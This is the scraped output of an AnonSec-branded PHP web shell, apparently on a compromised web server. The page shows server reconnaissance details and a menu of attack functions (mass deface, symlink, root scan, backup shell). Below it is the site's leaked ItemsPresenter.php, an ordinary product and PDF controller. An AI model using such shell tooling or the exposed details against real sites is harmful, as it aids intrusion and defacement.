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/  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/frontModule/presenters/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/frontModule/presenters/ItemsPresenter.php
<?php

namespace App\frontModule\Presenters;

use Latte\Engine;
use Mpdf\Mpdf;
use Mpdf\Output\Destination;
use Nette\Http\Response;
use Nette\Utils\Strings;
use Promoteus\Component\dataPrepare;
use Promoteus\Component\ProductImageModernizer;
use Promoteus\Components\Mails;
use Promoteus\CountryRepository;
use Promoteus\CurrencyRepository;
use Promoteus\ProductAltusRepository;
use Promoteus\ProductImagesRepository;
use Promoteus\ProductMetaRepository;
use Promoteus\ProductRepository;
use Promoteus\RepositoryException;
use Promoteus\TrendsRepository;

/**
 * ItemsPresenter presenter.
 */
class ItemsPresenter extends BasePresenter
{

    /** @var ProductRepository @inject */
    public $productRepository;

    /** @var CountryRepository @inject */
    public $countryRepository;

    /** @var TrendsRepository @inject */
    public $trendsRepository;

    /** @var CurrencyRepository @inject */
    public $currencyRepository;

    /** @var ProductAltusRepository @inject */
    public $productAltusRepository;

    /** @var ProductMetaRepository @inject */
    public $productMetaRepository;

    /** @var ProductImageModernizer @inject */
    public $productImageModernizer;


    private function imageGradientRect($img, $x, $y, $x1, $y1, $start, $end)
    {
        if ($x > $x1 || $y > $y1) {
            return false;
        }
        $s = array(
            hexdec(substr($start, 0, 2)),
            hexdec(substr($start, 2, 2)),
            hexdec(substr($start, 4, 2))
        );
        $e = array(
            hexdec(substr($end, 0, 2)),
            hexdec(substr($end, 2, 2)),
            hexdec(substr($end, 4, 2))
        );
        $steps = $y1 - $y;
        for ($i = 0; $i < $steps; $i++) {
            $r = $s[0] - ((($s[0] - $e[0]) / $steps) * $i);
            $g = $s[1] - ((($s[1] - $e[1]) / $steps) * $i);
            $b = $s[2] - ((($s[2] - $e[2]) / $steps) * $i);
            $color = imagecolorallocate($img, $r, $g, $b);
            imagefilledrectangle($img, $x, $y + $i, $x1, $y + $i + 1, $color);
        }
        return true;
    }

    public function getGradientRect($wight, $height, $color1, $color2)
    {
        $name = md5($wight . $height . $color1 . $color2) . '.png';
        $cacheLinc = "/images/front/system/cache";
        $lincWww = "/images/front/system/cache/$name";
        $lincFile = WWW_DIR . $lincWww;
        if (!is_dir(WWW_DIR . $cacheLinc)) {
            mkdir(WWW_DIR . $cacheLinc);
        }
        if (is_file($lincFile)) {
            return $lincWww;
        }
        $img = imagecreate($wight, $height);
        // header("Content-type: image/png");
        $this->imageGradientRect($img, 0, 0, $wight, $height, $color1, $color2);
        imagepng($img, $lincFile);
        imagedestroy($img);
        return $lincWww;
    }

    public function actionGradientRect($wight, $height, $color1, $color2)
    {
        die($this->getGradientRect($wight, $height, $color1, $color2));
    }

    /**
     * @param $code
     * @throws \Mpdf\MpdfException
     * @throws \Nette\Application\AbortException
     */
    public function renderProfilePdf($code)
    {
        try {
            $product = $this->productRepository->getProduct($code);
            //$product['price'] = $product['price_q1'];
        } catch (RepositoryException $e) {
            $product = false;
        }
        if (!$product /*|| !boolval($product['active_' . BasePresenter::getLanguageData()])*/) {
            $this->flashMessage(\App\Presenters\BasePresenter::getLanguage('zbozi-nebylo-nalezeno'), 'danger');
            $this->redirect(Response::S404_NOT_FOUND, 'Homepage:');
        }


        $productImages = $this->productImageModernizer->getProductImages($code);
        /*vytvoření objektu*/

        $mpdf = new mPDF(['tempDir' => APP_DIR . "/../temp"]);
        $data = [
            'product' => $product,
            'productImages' => $productImages,
            'user' => $this->getUser(),
            'l' => BasePresenter::getLanguage(),
            'getGradientRect' => [
                $this,
                'getGradientRect'
            ]
        ];
        $template = (new Engine)->renderToString(APP_DIR . "/frontModule/templates/Items/profilePdf.latte", $data);
        /*Přidání HTML*/
        //die($template);
        if (!$this->presenter->user->isLoggedIn()) {
            $mpdf->SetHTMLFooter("<img src='images/front/system/static/promofooter_" . $this->languageShortLoader() . ".jpg'/>");
        }
        $mpdf->WriteHTML($template);
        /*Výstup*/

        $mpdf->Output($code . "product.pdf", Destination::INLINE);

    }

    /**
     * @param $code
     * @throws \Mpdf\MpdfException
     * @throws \Nette\Application\AbortException
     */
    public function renderProfilePriceCalculatorPdf(
        $code,
        $priceListName,
        $amount,
        $unitPrice,
        $totalPrice,
        $priceListPrintName,
        $printPrice,
        $destination = Destination::INLINE,
        array $data
    )
    {
        try {
            $product = $this->productRepository->getProduct($code);
            //$product['price'] = $product['price_q1'];
        } catch (RepositoryException $e) {
            $product = false;
        }
        if (!$product /*|| !boolval($product['active_' . BasePresenter::getLanguageData()])*/) {
            $this->flashMessage(\App\Presenters\BasePresenter::getLanguage('zbozi-nebylo-nalezeno'), 'danger');
            $this->redirect(Response::S404_NOT_FOUND, 'Homepage:');
        }

        $productImages = $this->productImageModernizer->getProductImages($code);

        /*vytvoření objektu*/
        $mpdf = new mPDF(['tempDir' => APP_DIR . "/../temp"]);
        $renderData = [
            'product' => $product,
            'productImages' => $productImages,
            'user' => $this->getUser(),
            'l' => BasePresenter::getLanguage(),
            'priceListName' => $priceListName,
            'amount' => $amount,
            'unitPrice' => $unitPrice,
            'totalPrice' => $totalPrice,
            'priceListPrintName' => $priceListPrintName,
            'printPrice' => $printPrice,
            'priceListTransportName' => $data['priceListTransportName'],
            'transportPrice' => $data['transportPrice'],
            'countryName' => $data['countryName'],
            'getGradientRect' => [
                $this,
                'getGradientRect'
            ]
        ];

        $template = (new Engine)->renderToString(APP_DIR . "/frontModule/templates/Items/profilePriceCalculatorPdf.latte", $renderData);
        /*Přidání HTML*/
        //die($template);
        if (!$this->presenter->user->isLoggedIn()) {
            $mpdf->SetHTMLFooter("<img src='images/front/system/static/promofooter_" . $this->languageShortLoader() . ".jpg'/>");
        }
        $mpdf->WriteHTML($template);
        /*Výstup*/

        if ($destination === Destination::STRING_RETURN) {
            return $mpdf->Output("", $destination);
        }

        $mpdf->Output($code . "product.pdf", Destination::INLINE);
    }

    public function renderProfile($code, $title)
    {
        $product = null;
        try {
            $product = $this->productRepository->getProduct($code);
            if (empty($title) && $product) {
                $this->redirect('this', ['code' => $code, 'title' => Strings::webalize($product['name'])]);
            }
        } catch (RepositoryException $e) {
            $this->flashMessage($e->getMessage(), 'danger');
        }
        if (!$product || $product['active'] == 0) {
            if (!$this->presenter->user->isLoggedIn()) {
                $this->flashMessage(\App\Presenters\BasePresenter::getLanguage('prihlaste-se-pro-zobrazeni'), 'danger');
            } else {
                $this->flashMessage(\App\Presenters\BasePresenter::getLanguage('zbozi-nebylo-nalezeno'), 'danger');
            }
            $this->redirect(Response::S404_NOT_FOUND, 'Homepage:');
        }
        $meta = $this->productMetaRepository->getMetaByProductCode($code)->fetch();
        if ($meta) {
            $this->template->pageDescription = $meta->meta_description;
            $this->template->pageKeywords = $meta->meta_keywords;
        }

        $this->trendsRepository->trends($code, 1);
        $limit = 9;
        /** @var ProductRepository $productRepository */
        $productRepository = $this->context->getService('productRepository');
        $this->template->productBoxes = $productRepository->getProductBoxes($product['id'], $limit);
        $this->template->accessories = $productRepository->getProductAccessories($product['id'], $limit);

        $this->template->demandProducts = $this->getPresenter()->getSession('products')->products;
        $a = $productRepository->getSimilarProducts($product['id'], $limit);
        $simProds = array();
        foreach ($a as $data) {
            if (!isset($data["image"])) {
                $data["image"] = $this->productImageModernizer->getProductImages($data["code"], 1)[0];
            }
            $simProds[] = $data;
        }
        $this->template->similarProducts = $simProds;
        $productPrice = $this->productRepository->getProductPrice('cze', $product["id"]);
        $product['price_id'] = $productPrice ? $productPrice['id'] : '';
        $packImage = null;
        if (array_key_exists('packtype', $product)) {
            $packImage = $this->productImageModernizer->getProductImages($product['packtype'], 1)[0];
            if (is_null($packImage['image'])) {
                $packImage = null;
            }
        }
        $product['pack_image'] = $packImage;
        $this->template->product = $product;
        $this->template->productTransportPrices = $this->getProductTransport($product, $this->user->isLoggedIn() ? $this->user->identity->data["client"]["country"] : 56);
        $this->template->countAltus = $this->productAltusRepository->countStockProducts($code);
        $this->template->productAltus = $this->productAltusRepository->getStockProductStockOrderedReservedData($code);
        if (isset($this->user->identity->data["client"]["course_default"])) {
            $this->template->currency = $this->user->identity->data["client"]["course_default"];
        } else {
            $this->template->currency = 0;
        }
        if ($product["stock"] == true) {
            try {
                $prodCode = $this->productRepository->getProductCodeByAltusCode($product["code"]);
                $this->template->productCats = $this->generateCatsUrls(
                    $this->categoryRepository->showCatCategories(
                        $this->productRepository->getProductId($prodCode)
                    )
                );
            } catch (RepositoryException $e) {
                $this->flashMessage(\App\Presenters\BasePresenter::getLanguage('zbozi-nebylo-nalezeno'), 'danger');
            }
        } else {
            $this->template->productCats = $this->generateCatsUrls($this->categoryRepository->showCatCategories($product['id']));
        }

        $this->template->title = $product['name'];
        $this->template->currencyRepository = $this->currencyRepository;
        $this->template->getGradientRect = [$this, 'getGradientRect'];
        $this->template->size = 560 + (ceil((count($product['images'] ?? []) - 1) / 3) - 1) * 138;
        $productCode = $product['code'];
        if (!$this->productRepository->getBy(['code' => $productCode])) {
            $productCode = $this->productRepository->getProductCodeByAltusCode($productCode);
            $product["id"] = $productRepository->getProductId($productCode);
        }
        if ($productCode && $this->productRepository->getBy(['code' => $productCode])) {
            $this->template->images = $product['images'];
        } else {
            $this->template->images = [];
        }
        $this->template->countries = $this->countryRepository->getAllCountries();
    }

    public function renderProductTransportPrices()
    {
        $productCode = $this->getParameter('productCode');
        $countryId = $this->getParameter('countryId');
        if ($productCode && $countryId) {
            $product = $this->productRepository->getProduct($productCode);
            if ($product) {
                $this->template->productTransportPrices = $this->getProductTransport($product, $countryId);
            }
        }
    }

    public function getProductTransport($product, $country)
    {
        $transport = $this->context->getService("transportRepository");

        $transportIds = $transport->getTransportIdsForCountry($country);

        $data = new \StdClass();
        $data->country = $country;
        $data->numer_array = [1, 50, 100, 200, 300, 500, 700, 1000, 2000, 3000, 5000, 7000, 10000];
        $course_default = $this->user->isLoggedIn() ? $this->user->identity->data["client"]["course_default"] : 3;
        /** @var CurrencyRepository $currency */
        $currency = $this->context->getService("currencyRepository");
        $data->sell_course = $currency->getConversionRate($course_default)['ask'];
        $product['prod_id'] = $product['id'];
        $dp = new dataPrepare($this->context->getService('database.default.context'), $this->context->getService('priceListExporter'));

        $transportPrices = [];
        foreach ($transportIds as $transportId) {
            $data->transport_id = $transportId['id'];
            $transportPrices[$transportId['id']] = $dp->prepareTransportSimple($product, $data);
        }
        return $transportPrices;
    }

    /**
     * @param $code
     * @param bool $cleanOtherItems
     * @throws \Nette\Application\AbortException
     */
    public function handleAddItemToPriceList($code, $cleanOtherItems = false, $redirect = 'pricelist')
    {
        $productsSession = $this->session->getSection('products');
        if ($cleanOtherItems) {
            $productsSession->remove();
        }
        if ($redirect == 'pricelist') {
            $redirectTo = 'Pricelists:clean';
        } elseif ($redirect == 'demand') {
            $redirectTo = 'Demand:';
        } else {
            $redirectTo = null;
        }
        $this->handleAddItemToProductsSession($code, $redirectTo);
    }

    public function getCatUrl($cats)
    {
        $link = false;
        foreach ($cats as $cat) {
            foreach (BasePresenter::$cachedMenu as $tr) {
                $a = strpos($tr, '">' . $cat . '</a>');
                $b = strpos($tr, '<a href="');
                if ($a and $b) {
                    $c = 4 + $b;
                    $link = substr($tr, $b, strlen($tr) - $c);
                }
            }
        }
        return $link;
    }

    /**
     * @param array $cats
     * @return array
     */
    public function generateCatsUrls(array $cats)
    {
        if ("no category" === $cats[0]) {
            return $cats;
        }
        $ls = \App\Presenters\BasePresenter::getLanguageData();
        $stringFilterCat = ($this->translatorRepository->getBy(['key' => 'category'])->{\App\Presenters\BasePresenter::getLanguageData()}) ?: 'category';
        $stringFilterSubCat = ($this->translatorRepository->getBy(['key' => 'sub_category'])->{\App\Presenters\BasePresenter::getLanguageData()}) ?: 'sub_category';
        $inCats = [];
        foreach ($cats as $cat) {
            $inCats[] = "'" . $cat . "'";
        }
        $inCats = implode(",", $inCats);
        $menuQuery = $this->categoryRepository->getCatsByCats($inCats, $ls);
        $fullCatData = [];
        foreach ($menuQuery as $cat) {
            $top = false;
            if ($cat["parent_id"] != null) {
                $top = $this->categoryRepository->getMainCatForSubCat($cat["parent_id"], $ls)[0];
            }
            if ($top) {
                $fullCatData[] = array("top" => $top, "sub" => $cat);
            } else {
                $fullCatData[] = array("top" => $cat);
            }
        }
        $catRefs = [];
        $loggedIn = $this->user->isLoggedIn() ? '#loggedIn' : '';
        foreach ($fullCatData as $row) {
            if (isset($row["sub"])) {
                $catRefs[] = "<a class='product-category-item' href=\"/$stringFilterSubCat/" . $row["top"]['url'] . "/" . $row["sub"]['url'] . $loggedIn . "\">" . $row["sub"]['name'] . "</a>";
            } else {
                $catRefs[] = "<a class='product-category-item' href=\"/$stringFilterCat/" . $row["top"]['url'] . $loggedIn . "\">" . $row["top"]['name'] . "</a>";
            }
        }
        return $catRefs;
    }

    function actionPriceCalculatorSendMail()
    {
        if (
            !$this->getUser()->getIdentity()->getData()['client'] ||
            !$this->getParameter('productCode') ||
            !$this->getParameter('productName') ||
            !$this->getParameter('productCapacity') ||
            !$this->getParameter('quantity') ||
            !$this->getParameter('unitPrice') ||
            !$this->getParameter('totalPrice')
        ) {
            die('wrong data');
        }
        $productCode = $this->getParameter('productCode');
        $productName = $this->getParameter('productName');
        $productCapacity = $this->getParameter('productCapacity');
        $quantity = $this->getParameter('quantity');
        $unitPrice = $this->getParameter('unitPrice');
        $totalPrice = $this->getParameter('totalPrice');
        $priceListPrintName = $this->getParameter('priceListPrintName');
        $printPrice = $this->getParameter('printPrice');
        $data = [
            'priceListTransportName' => $this->getParameter('priceListTransportName'),
            'transportPrice' => $this->getParameter('transportPrice'),
            'countryName' => $this->getParameter('countryName')
        ];
        $pdf = $this->renderProfilePriceCalculatorPdf(
            $productCode,
            $priceListPrintName,
            $quantity,
            $unitPrice,
            $totalPrice,
            $priceListPrintName,
            $printPrice,
            Destination::STRING_RETURN,
            $data
        );
        (new Mails())->sendUsedPriceCalculator(
            $this->getUser()->getIdentity()->getData()['client'],
            $this->getCachedReferent()['email'],
            $productCode,
            $productName,
            $productCapacity,
            $quantity,
            $unitPrice,
            $totalPrice,
            $priceListPrintName,
            $printPrice,
            $pdf,
            $data
        );
        $this->getHttpResponse()->setCode(200);
        exit();
    }

    function actionPriceCalculatorTableSendMail()
    {
        if (
            !$this->getUser()->getIdentity()->getData()['client'] ||
            !$this->getParameter('productCode') ||
            !$this->getParameter('productName') ||
            !$this->getParameter('productCapacity') ||
            !$this->getParameter('quantity') ||
            !$this->getParameter('unitPrice') ||
            !$this->getParameter('totalPrice')
        ) {
            die('wrong data');
        }
        $productCode = $this->getParameter('productCode');
        $productName = $this->getParameter('productName');
        $productCapacity = $this->getParameter('productCapacity');
        $quantity = $this->getParameter('quantity');
        $unitPrice = $this->getParameter('unitPrice');
        $totalPrice = $this->getParameter('totalPrice');
        $priceListPrintName = $this->getParameter('priceListPrintName');
        $printPrice = $this->getParameter('printPrice');
        $data = [
            'priceListTransportName' => $this->getParameter('priceListTransportName'),
            'transportPrice' => $this->getParameter('transportPrice'),
            'countryName' => $this->getParameter('countryName')
        ];
        (new Mails())->sendUsedPriceCalculatorTable(
            $this->getUser()->getIdentity()->getData()['client'],
            $this->getCachedReferent()['email'],
            $productCode,
            $productName,
            $productCapacity,
            $quantity,
            $unitPrice,
            $totalPrice,
            $priceListPrintName,
            $printPrice,
            $data
        );
        $this->getHttpResponse()->setCode(200);
        exit();
    }


}

Anon7 - 2022
AnonSec Team